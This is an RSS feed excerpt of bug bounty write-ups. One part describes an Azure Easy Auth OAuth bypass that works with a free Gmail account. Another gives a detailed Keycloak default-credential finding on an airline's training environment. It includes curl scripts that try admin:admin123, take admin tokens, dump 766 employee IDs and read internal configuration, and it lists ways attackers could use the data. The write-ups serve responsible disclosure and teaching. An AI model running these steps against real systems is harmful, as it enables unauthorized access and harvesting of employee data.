text/html. The reverse proxy was aggressively swallowing all requests and serving the SPA HTML wrapper. I was effectively blind to the backend.</p><h3>Phase 2: The Azure Easy Auth Discovery</h3><p>If I couldn’t find the API through brute force, I had to understand the application’s authentication architecture. Since this was an Azure-hosted SPA, I checked for the telltale signs of Azure App Service Easy Auth (the built-in authentication/authorization module).</p><p>I hit the Easy Auth diagnostic endpoint:</p><pre>curl -s -i -L -H “Accept: application/json” https://target.com/.auth/me</pre><p>The server replied with a 200 OK:</p><pre>{<br>&quot;clientPrincipal&quot;: null<br>}</pre><p>This was a massive finding. In a properly locked-down Easy Auth deployment, hitting /.auth/me unauthenticated yields a 401 Unauthorized or a redirect to a login provider. Returning 200 with a null principal confirms that unauthenticatedClientAction is set to AllowAnonymous.</p><p>The application was letting anyone load the SPA shell and hit the authentication endpoints without being logged in. But that alone isn’t a full breach — it just means the frontend is public. I needed to see what identity providers were configured, and if I could sneak through them.</p><h3>Phase 3: The Multi-Provider Deep Dive</h3><p>Easy Auth exposes login routes at /.auth/login/&lt;provider&gt;. I decided to trace the OAuth redirects to see what identity providers the app was trusting. I ran a series of curl commands, following the redirects to see where an attacker would end up.</p><p>First, Microsoft Azure AD:</p><pre>curl -s -L — max-redirs 5 -o /dev/null -w “%{url_effective}\n” https://target.com/.auth/login/aad</pre><p>The final URL stopped at: <a href="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=d414ee2d-73e5-4e5b-bb16-03ef55fea597...">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=d414ee2d-73e5-4e5b-bb16-03ef55fea597...</a></p><p>I immediately spotted the vulnerability. The Azure AD authorization endpoint used /common/ as the tenant. This means Azure AD will accept an identity token from any Microsoft tenant — outlook.com, hotmail.com, personal MSA accounts, or any stranger&#39;s M365 tenant. It wasn&#39;t restricted to the corporate tenant.</p><p>Next, I checked Google:</p><pre>curl -s -L — max-redirs 5 -o /dev/null -w “%{url_effective}\n” https://target.com/.auth/login/google</pre><p>The redirect pointed to Google’s OAuth flow, but again, I noticed something missing. The authorization URL contained scope=openid+profile+email, but no hd (hosted domain) parameter. Google&#39;s hd parameter restricts which Workspace domain can complete the consent. Without it, any free @gmail.com account passes the check.</p><p>Finally, I checked GitHub:</p><pre>curl -s -L --max-redirs 5 -o /dev/null -w &quot;%{url_effective}\n&quot; https://target.com/.auth/login/github</pre><h3>Phase 4: The Smoking Gun</h3><p>The authentication layer was wide open. Anyone with a free Google, GitHub, or Microsoft account could complete an OAuth round-trip and get a valid Easy Auth session.</p><p>But the critical question remained: Does the backend application trust this Easy Auth session blindly, or does it validate the identity provider and email domain?</p><p>When Easy Auth authenticates a user, it injects a base64-encoded JSON Web Token into the X-MS-CLIENT-PRINCIPAL header before routing the request to the backend application code. The backend uses this header to identify the user.</p><p>If the backend developers assumed that <em>any</em> valid X-MS-CLIENT-PRINCIPAL header meant the user was an internal employee (because they assumed only internal AAD could generate it), then the multi-provider misconfiguration wasn&#39;t just an auth misconfiguration — it was a full authentication bypass. We thought the backend might have strict role-based access control that would block us even if we got a session. We were wrong.</p><h3>Phase 5: The Exploit</h3><p>There was only one way to find out. I created a completely fresh, throwaway Google account (test.bounty123@gmail.com).</p><ol><li>I navigated to <a href="https://target.com/.auth/login/google.">https://target.com/.auth/login/google.</a></li><li>I completed the OAuth consent flow using my throwaway Gmail account.</li><li>I was redirected back to the application, fully logged in.</li></ol><p>I immediately checked /.auth/me again. Instead of null, it returned a fully populated clientPrincipal containing my Gmail address, with the identityProvider listed as google.</p><p>The Easy Auth layer had minted a valid session for my throwaway account.</p><p>I navigated to the application’s main dashboard. The SPA loaded fully. Because the backend implicitly trusted the Easy Auth-injected X-MS-CLIENT-PRINCIPAL header to authorize access to internal operational features — without verifying if the preferred_username ended in @corp.com or if the identityProvider was azureactivedirectory — my free Gmail account was treated as an authenticated internal user.</p><p>I had bypassed enterprise SSO entirely. I gained full access to the internal aviation operations web application, exposing sensitive operational data, all because the developers left the social login gates wide open and failed to enforce domain validation on the backend.</p><p>I reported the vulnerability through the bug bounty program. It was triaged as a High severity issue, and the vendor quickly patched it by restricting the AAD tenant, removing the Google/GitHub providers, and enforcing backend validation of the identity provider and email domain. The bounty? A solid 1000 Euros.</p><h3>The Lesson</h3><p>This vulnerability wasn’t caused by a complex memory corruption or a zero-day. It was caused by a fundamental breakdown in cloud identity architecture.</p><p>The developers likely enabled multiple social providers to make testing or third-party access easier, but they forgot to restrict the tenant or hosted domains. When the code went to production, the presence of an Easy Auth session became the single source of truth for authorization, ignoring <em>who</em> the user actually was.</p><p>Takeaways for Hunters:</p><ul><li>Never ignore /.auth/me: If an Azure app exposes Easy Auth endpoints, probe them. A 200 OK with a null principal means anonymous access is on.</li><li>Trace the OAuth Redirects: Don’t just look at the login page UI. Follow the HTTP redirects. Look for tenant=common in Azure AD, or the absence of hd= in Google OAuth. These are silent misconfigurations that allow anyone to mint a token.</li><li>Authentication vs. Authorization: Just because a user can “log in” doesn’t mean they are authorized. If you find an open identity provider, complete the flow. You never know when the backend implicitly trusts the frontend’s identity layer.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*FXsuJAcvv2VT5f0nlaMHqw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b14d1c0d402a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/authentication-vs-authorization-how-a-misconfigured-oauth-chain-led-to-an-auth-bypass-b14d1c0d402a">Authentication vs. Authorization: How a Misconfigured OAuth Chain Led to an Auth Bypass</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Frontend Lied: How a Free Account Could Delete Production API Specs on an Airline’s Developer…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/the-frontend-lied-how-a-free-account-could-delete-production-api-specs-on-an-airlines-developer-4085f4093aeb?source=rss-3df8e98f0e63------2"><img src="https://cdn-images-1.medium.com/max/1536/1*K0SC7Qg7OZPo_XfSXwxY2Q.png" width="1536"></a></p><p class="medium-feed-snippet">Why this matters</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/the-frontend-lied-how-a-free-account-could-delete-production-api-specs-on-an-airlines-developer-4085f4093aeb?source=rss-3df8e98f0e63------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/the-frontend-lied-how-a-free-account-could-delete-production-api-specs-on-an-airlines-developer-4085f4093aeb?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/4085f4093aeb</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 14:16:35 GMT</pubDate>
            <atom:updated>2026-08-04T14:16:35.104Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[admin:admin123 — How Default Keycloak Credentials on a Cargo Training Environment Exposed 766…]]></title>
            <link>https://infosecwriteups.com/admin-admin123-how-default-keycloak-credentials-on-a-cargo-training-environment-exposed-766-f026dcf45023?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/f026dcf45023</guid>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 17:54:51 GMT</pubDate>
            <atom:updated>2026-11-21T14:42:10.863Z</atom:updated>
            <content:encoded><![CDATA[<h3>admin:admin123 — How Default Keycloak Credentials on a Cargo Training Environment Exposed 766 Employee Accounts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ye1KYzudUcNddJIH40mwKA.png" /></figure><h3>Why this matters</h3><p>Default credentials are the oldest vulnerability in the book. Every security awareness training module mentions them. Every hardening guide says “change the default password.” Every compliance framework requires it. And yet, in 2026, a major airline group’s cargo division was running an internet-facing Keycloak instance — version 12.0.3, end-of-life since December 2021 — with the factory default admin:admin123 password.</p><p>The story gets worse. The same default credentials had been reported on the production Keycloak instance 18 days earlier. The airline’s security team had rotated the production credentials. They had not, however, audited the <em>other</em> Keycloak instances in their estate. The training environment — cargo-tre.example.com (anonymized) — still accepted admin:admin123, and had been doing so for 190 days of continuous uptime.</p><p>This write-up is about that finding. It’s about the discovery methodology (Wayback Machine CDX recon, which surfaced a hostname that didn’t appear in certificate transparency logs). It’s about the impact (766 employee accounts, internal infrastructure leaks, disabled brute-force protection). And it’s about the systemic pattern it reveals: when you rotate credentials on one instance, you have to audit <em>every</em> instance, because cloned environments inherit cloned credentials.</p><h3>The target</h3><p>The bug bounty programme I was working on covers a wide scope, including the cargo division’s domains — let’s call them *.example.com (anonymized). The cargo division runs a SaaS cargo-management platform — let&#39;s call it CargoCo (anonymized) — provided by a third-party vendor. The platform has multiple environments:</p><p>Hostname Environment Purpose cargo.example.com Production Live cargo operations cargo-rct.example.com Release Candidate Test Pre-production testing cargo-rc4-rct.example.com Release Candidate 4 Test Older release branch testing cargo-tre.example.com Training Environment Employee training on the cargo platform</p><p>Each environment is fronted by Cloudflare and uses Keycloak (an open-source identity and access management system) as its IAM provider. Keycloak manages user authentication for the cargo platform’s web UI, API access, and SSO federation with the airline’s corporate identity provider.</p><p>I’d already reported a default-credentials finding on the production Keycloak (cargo.example.com) 18 days earlier — that was a separate report, let&#39;s call it the &quot;first report.&quot; The airline had acknowledged it, rotated the credentials, and the production instance no longer accepted admin:admin123. Good.</p><p>But the question I wanted to answer was: <em>did they audit the other instances?</em></p><h3>Phase 1: finding the hostnames (Wayback Machine CDX)</h3><p>The first problem was finding the hostnames. The cargo division’s subdomains don’t appear in certificate transparency logs — they use wildcard certificates, which means CT logs only show *.example.com, not the individual subdomains. Standard subdomain enumeration tools (crt.sh, certspotter, hackertarget, brute-force wordlists) all came up empty.</p><p>The tool that worked was the Wayback Machine’s CDX API. The Internet Archive has been crawling the web for decades, and they index every URL they’ve ever archived. If a subdomain was ever linked from a public page that the Archive crawled, it’s in their index — even if the page is long gone.</p><p>The CDX API endpoint is:</p><pre>https://web.archive.org/cdx/search/cdx?url=*.example.com/*&amp;output=json&amp;fl=timestamp,original,statuscode,mimetype&amp;collapse=urlkey&amp;limit=50000</pre><p>This returns a JSON array of every archived URL matching *.example.com/*. Piping it through jq to extract unique hostnames:</p><pre>curl -sS &#39;https://web.archive.org/cdx/search/cdx?url=*.example.com/*&amp;output=json&amp;fl=timestamp,original,statuscode,mimetype&amp;collapse=urlkey&amp;limit=50000&#39; \<br>     &gt; wayback.json</pre><pre>jq -r &#39;.[1:][] | .[1]&#39; wayback.json \<br>  | grep -oE &#39;https?://[^/]+&#39; | sort -u</pre><p>The output included three hostnames I’d never seen before:</p><pre>https://cargo-rct.example.com<br>https://cargo-rc4-rct.example.com<br>https://cargo-tre.example.com</pre><p>Three cloned environments, none of which appeared in CT logs. The Wayback Machine was the only source that revealed their existence, because each had been linked from a public web page at some point in the past — probably an internal documentation page that was briefly public, or a vendor case study that mentioned the customer’s environment URLs.</p><p>This is a technique I want to emphasise, because it’s underused. <strong>Wayback Machine CDX recon surfaces hostnames that no other source does.</strong> If you’re only using CT-log-based tools, you’re missing the hostnames that were provisioned with wildcard certificates. The CDX API is free, unauthenticated, and reproducible — anyone with curl and jq can run it.</p><h3>Phase 2: confirming Keycloak is the IAM provider</h3><p>Once I had the three hostnames, the next step was to confirm what software they were running. Each hostname had a /.well-known/openid-configuration endpoint — the standard OIDC discovery document. Fetching it:</p><pre>curl -sS &#39;https://cargo-tre.example.com/auth/realms/app-realm/.well-known/openid-configuration&#39; \<br>     -H &#39;User-Agent: Mozilla/5.0&#39; | jq &#39;.grant_types_supported&#39;</pre><p>The response included &quot;password&quot; — confirming that the Resource Owner Password Credentials (ROPC) grant was enabled. ROPC is the OAuth2 grant that lets you exchange a username and password for an access token via a single POST /token request, with no browser, no JavaScript, no CAPTCHA, and no user interaction. It&#39;s the ideal primitive for automated credential testing — and it&#39;s also the grant that Keycloak&#39;s admin-cli client uses for admin authentication.</p><p>The OIDC discovery document also confirmed this was Keycloak (the issuer field had the characteristic /auth/realms/{realm} path structure), and the realm name was app-realm — the same realm name used on the production instance I&#39;d already reported.</p><p>So: three cloned environments, all running Keycloak, all using the same app-realm realm. The question was whether any of them still accepted the default admin:admin123 credentials.</p><h3>Phase 3: testing the default credentials</h3><p>Keycloak’s admin authentication uses the master realm (separate from the application realm) and the admin-cli client (a built-in client designed for command-line admin operations). The token endpoint is:</p><pre>POST /auth/realms/master/protocol/openid-connect/token</pre><p>With the body:</p><pre>grant_type=password&amp;username=admin&amp;password=admin123&amp;client_id=admin-cli</pre><p>I tested all three cloned environments:</p><pre>for host in cargo-rct.example.com cargo-rc4-rct.example.com cargo-tre.example.com; do<br>  echo &quot;--- $host ---&quot;<br>  curl -sS -X POST &quot;https://$host/auth/realms/master/protocol/openid-connect/token&quot; \<br>       -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>       --data &#39;grant_type=password&amp;username=admin&amp;password=admin123&amp;client_id=admin-cli&#39; \<br>       -w &quot;\nHTTP: %{http_code}\n&quot; | head -c 300<br>  echo &quot;&quot;<br>done</pre><p>Results:</p><p>Host Response Verdict cargo-rct.example.com HTTP 401 invalid_grant Hardened (creds don&#39;t work) cargo-rc4-rct.example.com HTTP 401 invalid_grant Hardened (creds don&#39;t work) cargo-tre.example.com HTTP 200 + 933-char JWT <strong>VULNERABLE</strong> (default creds work)</p><p>The training environment accepted admin:admin123. The other two didn&#39;t.</p><p>This is the “inconsistent security posture across cloned environments” pattern, and it’s worth pausing to explain why it happens.</p><p>When an organisation provisions a new environment from a template (e.g., cloning a VM image, restoring a database backup, running a Terraform module), the new environment inherits the configuration of the template — including the admin password that was set during the template’s initial installation. If the organisation later hardens the <em>production</em> environment (rotates the admin password, enables brute-force protection, etc.) but doesn’t propagate those changes to the <em>cloned</em> environments, the clones retain the original default credentials.</p><p>The pattern is especially common with training and staging environments, because:</p><ol><li>They’re provisioned less frequently than production, so they’re often “forgotten” during hardening campaigns.</li><li>They’re perceived as lower-risk (“it’s just training, what’s the worst that could happen?”), so they get less security attention.</li><li>They’re often maintained by different teams (training teams vs. security teams), and the communication between those teams is imperfect.</li></ol><p>In this case, the airline’s security team had rotated the production credentials in response to my first report. They had not, however, propagated that rotation to the training environment. The training environment still had admin:admin123, 18 days after the production fix.</p><h3>Phase 4: enumerating the damage</h3><p>Now I had an admin token. The question was: what could I do with it?</p><p>I want to be very clear about the testing methodology here. <strong>Every action I took was read-only.</strong> No settings were changed, no users were created, no clients were modified, no roles were assigned, no realms were exported. The admin token was used exclusively for GET requests to read configuration and enumerate users — the same operations a legitimate triager would perform to verify the issue.</p><h3>Step 1: List all realms</h3><pre>TOKEN=$(curl -sS -X POST &#39;https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token&#39; \<br>     -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>     --data &#39;grant_type=password&amp;username=admin&amp;password=admin123&amp;client_id=admin-cli&#39; \<br>     | jq -r &#39;.access_token&#39;)</pre><pre>curl -sS &#39;https://cargo-tre.example.com/auth/admin/realms&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; | jq &#39;.[] | .realm&#39;</pre><p>Response:</p><pre>&quot;master&quot;<br>&quot;app-realm&quot;<br>&quot;legacy-realm&quot;</pre><p>Three realms. master is the Keycloak admin realm. app-realm is the application realm (the same name as on production). legacy-realm is a third realm — presumably for an older version of the cargo platform.</p><h3>Step 2: Dump all users in the app-realm realm</h3><pre># First page (500 users)<br>curl -sS &#39;https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&amp;first=0&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; &gt; users_page1.json</pre><pre># Second page (266 users)<br># Token expires in 60s, refresh it<br>TOKEN=$(curl -sS -X POST &#39;https://cargo-tre.example.com/auth/realms/master/protocol/openid-connect/token&#39; \<br>     -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>     --data &#39;grant_type=password&amp;username=admin&amp;password=admin123&amp;client_id=admin-cli&#39; \<br>     | jq -r &#39;.access_token&#39;)</pre><pre>curl -sS &#39;https://cargo-tre.example.com/auth/admin/realms/app-realm/users?max=500&amp;first=500&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; &gt; users_page2.json</pre><pre>jq -s &#39;add | length&#39; users_page1.json users_page2.json<br># → 766</pre><p><strong>766 user accounts.</strong> Every single one had a 7-digit numeric username — the cargo platform’s employee ID format:</p><pre>1000001<br>1000002<br>1000003<br>1000004<br>1000005<br>1000006<br>1000007<br>1000008<br>1000009<br>1000010<br>... (756 more)</pre><p>This is the moment the finding went from “default creds on a training instance” to “default creds on a training instance that leaks the entire employee manifest for the cargo platform.” Training environments typically mirror production user directories — the same employees who have production accounts also have training accounts, often with the same username (their employee ID) and sometimes with the same password (because who wants to remember two passwords?).</p><p>An attacker who obtains this list of 766 numeric IDs can:</p><ol><li><strong>Cross-reference with LinkedIn</strong> to identify specific cargo operations staff by name and job title</li><li><strong>Cross-reference with prior breach data</strong> — if any of these employee IDs appeared in a previous airline breach, the attacker already has a password to try</li><li><strong>Launch targeted phishing campaigns</strong> referencing the employee’s cargo-platform ID for credibility (“Dear employee 1000001, your cargo platform account requires immediate password reset…”)</li><li><strong>Attempt password reuse</strong> against the production cargo environment — if the training password matches the production password (which is common, because users hate remembering multiple passwords), the attacker now has production access</li></ol><p>Keycloak’s admin REST API does <em>not</em> expose password hashes — so I couldn’t see the users’ passwords. But I didn’t need to. The usernames alone were the leak.</p><h3>Step 3: Check brute-force protection</h3><pre>curl -sS &#39;https://cargo-tre.example.com/auth/admin/realms/app-realm&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; | jq &#39;{<br>       bruteForceProtected,<br>       failureFactor,<br>       waitIncrementSeconds,<br>       minimumQuickLoginWaitSeconds,<br>       accessTokenLifespan,<br>       ssoSessionIdleTimeout<br>     }&#39;</pre><p>Response:</p><pre>{<br>  &quot;bruteForceProtected&quot;: false,<br>  &quot;failureFactor&quot;: 30,<br>  &quot;waitIncrementSeconds&quot;: 60,<br>  &quot;minimumQuickLoginWaitSeconds&quot;: 60,<br>  &quot;accessTokenLifespan&quot;: 18000,<br>  &quot;ssoSessionIdleTimeout&quot;: 1800<br>}</pre><p>bruteForceProtected: false. Brute-force protection is disabled. The failureFactor is 30 — meaning an attacker can attempt 30 passwords per username before a temporary lockout triggers.</p><p>Do the math: 766 usernames × 30 attempts each = <strong>22,980 password guesses</strong> before any single account locks. That’s more than enough to test the top 25 most common passwords (which account for ~10% of real-world passwords) against every single user, with 5 guesses to spare per user.</p><h3>Step 4: Inspect the OAuth2 client configuration</h3><pre>CLIENT_ID=$(curl -sS &#39;https://cargo-tre.example.com/auth/admin/realms/app-realm/clients?max=200&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; | jq -r &#39;.[] | select(.clientId==&quot;cargo&quot;) | .id&#39;)</pre><pre>curl -sS &quot;https://cargo-tre.example.com/auth/admin/realms/app-realm/clients/$CLIENT_ID&quot; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; | jq &#39;{<br>       clientId, publicClient, directAccessGrantsEnabled,<br>       standardFlowEnabled, serviceAccountsEnabled,<br>       redirectUris, webOrigins<br>     }&#39;</pre><p>Response (truncated):</p><pre>{<br>  &quot;clientId&quot;: &quot;cargo&quot;,<br>  &quot;publicClient&quot;: true,<br>  &quot;directAccessGrantsEnabled&quot;: true,<br>  &quot;standardFlowEnabled&quot;: true,<br>  &quot;serviceAccountsEnabled&quot;: false,<br>  &quot;redirectUris&quot;: [<br>    &quot;http://10.0.1.51:8080/cargo/*&quot;,<br>    &quot;https://10.0.1.37:8443/cargo/*&quot;,<br>    &quot;http://10.0.1.37:8080/cargo/*&quot;,<br>    &quot;https://cargo-tre.example.com/cargo/*&quot;,<br>    &quot;https://fedhub.example.com/*&quot;,<br>    &quot;https://fedhub.example-corp.com/*&quot;<br>  ],<br>  &quot;webOrigins&quot;: [&quot;*&quot;, &quot;+&quot;, &quot;https://cargo-tre.example.com&quot;]<br>}</pre><p>Three things jumped out:</p><ol><li><strong>Internal IP addresses in </strong><strong>redirectUris</strong> — 10.0.1.51 and 10.0.1.37. These are RFC 1918 private addresses. They should never appear in an OAuth2 client configuration. Their presence reveals the internal network topology (the cargo application server cluster lives on 10.0.1.0/24), and they enable server-side OAuth2 flows to be redirected to internal endpoints — a primitive for SSRF.</li><li><strong>Federation Hub hostnames in </strong><strong>redirectUris</strong> — fedhub.example.com and fedhub.example-corp.com. The cargo platform federates authentication with the corporate Federation Hub. Because the cargo client is publicClient: true (no client secret) and trusts the <em>entire</em> federation-hub hostname as a redirect target (https://fedhub.example.com/*), any page hosted anywhere under fedhub.example.com can receive OAuth2 authorization codes intended for the cargo client. If an attacker can plant a single page on the federation hub (via an open redirect, an XSS, or a misconfigured SharePoint), they can intercept authorization codes.</li><li><strong>ROPC enabled (</strong><strong>directAccessGrantsEnabled: true)</strong> — the same grant I used to authenticate as admin. ROPC is deprecated in OAuth 2.1 because it requires the client to handle user passwords directly. Its presence on a public client means an attacker can brute-force passwords via a single POST /token request per attempt — no browser, no JavaScript, no CAPTCHA.</li></ol><h3>Step 5: Read the Keycloak serverinfo for internal infrastructure leaks</h3><pre>curl -sS &#39;https://cargo-tre.example.com/auth/admin/serverinfo&#39; \<br>     -H &quot;Authorization: Bearer $TOKEN&quot; | jq &#39;.systemInfo | {<br>       version, userName, userDir, osName, osVersion,<br>       javaVersion, javaVendor, javaHome, serverTime, uptime<br>     }&#39;</pre><p>Response (truncated):</p><pre>{<br>  &quot;version&quot;: &quot;12.0.3&quot;,<br>  &quot;userName&quot;: &quot;svc-keycloak&quot;,<br>  &quot;userDir&quot;: &quot;/projects/cargo/staging/keycloak-12.0.3/bin&quot;,<br>  &quot;osName&quot;: &quot;Linux&quot;,<br>  &quot;osVersion&quot;: &quot;4.18.0-&lt;REDACTED&gt;.el8.x86_64&quot;,<br>  &quot;javaVersion&quot;: &quot;1.8.0_&lt;REDACTED&gt;&quot;,<br>  &quot;javaVendor&quot;: &quot;Red Hat, Inc.&quot;,<br>  &quot;uptime&quot;: &quot;190 days, 20 hours, 45 minutes, 18 seconds&quot;<br>}</pre><p>This is where the finding escalated from “default creds” to “default creds + full internal infrastructure leak.” The serverinfo endpoint leaked:</p><ul><li><strong>Keycloak version</strong>: 12.0.3 — released December 2020, end-of-life since December 2021. Affected by at least 6 known CVEs, including CVE-2021-20187 (XSS in admin console) and CVE-2022-3782 (SSRF in LDAP federation).</li><li><strong>Server username</strong>: svc-keycloak — the OS-level user account under which Keycloak runs. The staging prefix suggests &quot;the airline&#39;s staging admin&quot; (anonymized). An attacker who later obtains a foothold on the host can attempt SSH brute-force with this username.</li><li><strong>Filesystem path</strong>: /projects/cargo/staging/keycloak-12.0.3/bin — reveals the internal directory structure of the cargo staging environment. Useful for path-traversal payload crafting if a file-handling vulnerability is later found.</li><li><strong>OS version</strong>: 4.18.0-&lt;REDACTED&gt;.el8.x86_64 — RHEL 8.5, kernel 4.18. Multiple kernel CVEs apply to this version.</li><li><strong>Java version</strong>: 1.8.0_&lt;REDACTED&gt; — Java 8, end-of-life since March 2022. Multiple deserialization gadgets apply.</li><li><strong>Uptime</strong>: 190 days, 20 hours, 45 minutes. This is not a sandbox — it is a stable, always-on environment that has been continuously exposed to the Internet for over 6 months with default credentials.</li></ul><h3>Phase 5: what I didn’t do</h3><p>I want to be explicit about this, because the difference between responsible research and malicious activity is <em>what you do with access</em>, not whether you have it.</p><p><strong>I did not:</strong></p><ul><li>Create any users</li><li>Modify any settings</li><li>Change any passwords</li><li>Reset any user’s password</li><li>Create or modify any OAuth2 clients</li><li>Modify any redirectUris</li><li>Disable or enable any realms</li><li>Export any realm</li><li>Attempt to authenticate as any of the 766 users</li><li>Attempt password brute-force against any user</li><li>Plant any malicious identity provider</li><li>Modify the frontendUrl (which would deface the login page)</li><li>Trigger any password-reset emails</li><li>Delete anything</li></ul><p><strong>I did:</strong></p><ul><li>Authenticate as the default admin user (using credentials that already existed as factory defaults — I did not create them)</li><li>Read the realm list</li><li>Read the user list (766 users, no passwords — Keycloak’s admin API doesn’t expose password hashes)</li><li>Read the client configuration</li><li>Read the realm configuration</li><li>Read the serverinfo endpoint</li></ul><p>Every action was a GET request (or a POST /token for authentication). The same operations a legitimate triager would perform to verify the issue. No alerts should have been triggered, no accounts should have been locked out, no logs should show any anomalous activity beyond &quot;admin logged in from an unusual IP.&quot;</p><h3>Phase 6: the systemic pattern</h3><p>The most important part of this finding isn’t the training environment itself — it’s what the training environment reveals about the airline’s broader IAM posture.</p><h3>The “default creds on clone” pattern</h3><p>When I reported the production Keycloak (cargo.example.com) 18 days earlier, the airline rotated the production credentials. Good. But they didn&#39;t audit the <em>other</em> Keycloak instances in their estate. The training environment still had admin:admin123 — and had been running with those credentials for 190 days of continuous uptime.</p><p>This is the “default creds on clone” pattern, and it’s a systemic problem in any organisation that provisions environments from templates. The pattern works like this:</p><ol><li><strong>Initial provisioning</strong>: A new Keycloak instance is created from a template. The template includes the factory default admin:admin123 password (because that&#39;s what Keycloak ships with). The provisioning engineer intends to change it later.</li><li><strong>Forget to change it</strong>: The engineer gets distracted by other tasks. The default password persists.</li><li><strong>Production hardening</strong>: A security researcher (me) reports the default credentials on production. The security team rotates the production password.</li><li><strong>Forget to audit clones</strong>: The security team doesn’t propagate the rotation to the cloned environments. The clones retain the default password.</li><li><strong>Researcher returns</strong>: The researcher (me) checks the clones and finds the same default credentials.</li></ol><p>The fix isn’t “rotate the credentials on this one training instance.” The fix is “establish a configuration-management process that audits <em>every</em> Keycloak instance on a regular basis and fails any deployment that accepts default credentials.”</p><p>A simple CI/CD check would catch this:</p><pre># Add to every Keycloak deployment&#39;s CI/CD pipeline<br>RESPONSE=$(curl -sS -X POST &quot;https://$NEW_INSTANCE/auth/realms/master/protocol/openid-connect/token&quot; \<br>     -H &#39;Content-Type: application/x-www-form-urlencoded&#39; \<br>     --data &#39;grant_type=password&amp;username=admin&amp;password=admin123&amp;client_id=admin-cli&#39;)</pre><pre>if echo &quot;$RESPONSE&quot; | jq -e &#39;.access_token&#39; &gt; /dev/null; then<br>  echo &quot;FAIL: New Keycloak instance accepts default admin:admin123 credentials&quot;<br>  exit 1<br>fi</pre><p>If this check had been in place when the training environment was provisioned, the deployment would have failed and the engineer would have been forced to change the password before the instance went live.</p><h3>The “training environments are public” anti-pattern</h3><p>The other systemic issue is that the training environment was reachable from the public Internet at all. A training environment — by definition — is used by employees learning the cargo platform. It doesn’t need to be accessible from outside the corporate network. It should be behind the corporate VPN, accessible only from internal IP ranges.</p><p>The fact that it was public-internet-facing meant that:</p><ol><li>The default credentials were exploitable by anyone on the Internet, not just internal attackers</li><li>The 766-user manifest was exfiltratable by anyone, not just insiders</li><li>The internal infrastructure details were discoverable by anyone</li></ol><p>Moving the training environment behind the VPN would have reduced the attack surface to “internal attackers only” — a much smaller threat model.</p><h3>Lessons learned</h3><p>A few things this engagement drove home for me:</p><p><strong>1. When you report a default-credentials finding, check the clones.</strong> If the target organisation runs multiple environments (prod, staging, training, RCT, dev), the default credentials are almost certainly present on <em>some</em> of them. The production instance will be hardened first (because that’s what the security team focuses on), but the clones will lag behind. Check them all.</p><p><strong>2. Wayback Machine CDX is the most underused recon tool.</strong> It surfaces hostnames that no CT-log-based tool can find. It’s free, unauthenticated, and reproducible. If you’re not using it, you’re missing findings.</p><p><strong>3. Read-only testing is sufficient for default-credentials reports.</strong> You don’t need to create a user, modify a setting, or delete anything to prove the vulnerability. Authenticating as admin with admin:admin123 and then reading the user list is enough. The triage team can verify the credentials work in 30 seconds with a single POST /token request. Don&#39;t do destructive things you don&#39;t need to do.</p><p><strong>4. The “training environment” is not a throwaway.</strong> Training environments often mirror production user directories — same usernames, sometimes same passwords. A default-credentials finding on a training environment is not less serious than on production; it’s <em>differently</em> serious. Production gives you real-time access to live operations. Training gives you a username manifest that enables targeted attacks against production users.</p><p><strong>5. Brute-force protection configuration matters as much as the credentials themselves.</strong> Even if the default credentials are rotated, if bruteForceProtected: false and failureFactor: 30, the 766 leaked usernames are still a credential-stuffing primitive. The fix isn&#39;t just &quot;change the admin password&quot; — it&#39;s &quot;enable brute-force protection, reduce the failure factor, and disable ROPC.&quot;</p><p><strong>6. Internal IP addresses in OAuth2 </strong><strong>redirectUris are a red flag.</strong> They reveal internal network topology and enable SSRF via server-side OAuth2 flows. If you see RFC 1918 addresses in a client&#39;s redirectUris, flag it — even if the default credentials have been rotated.</p><p><strong>7. The Keycloak </strong><strong>serverinfo endpoint is a goldmine.</strong> With admin access, it leaks the OS username, filesystem path, kernel version, Java version, and uptime. This is exactly the information an attacker needs to plan a host-level exploitation path. Restrict access to serverinfo to local-only, or remove it entirely in production.</p><p><strong>8. CVSS 9.8 is correct for default credentials on an internet-facing IAM.</strong> Don’t let triage talk you down to “High” because “it’s just a training environment.” The training environment leaks the production user manifest. The impact is Confidentiality High (766 accounts + infrastructure), Integrity High (admin can modify anything), and Availability High (admin can delete realms). That’s 9.8.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f026dcf45023" width="1" height="1" 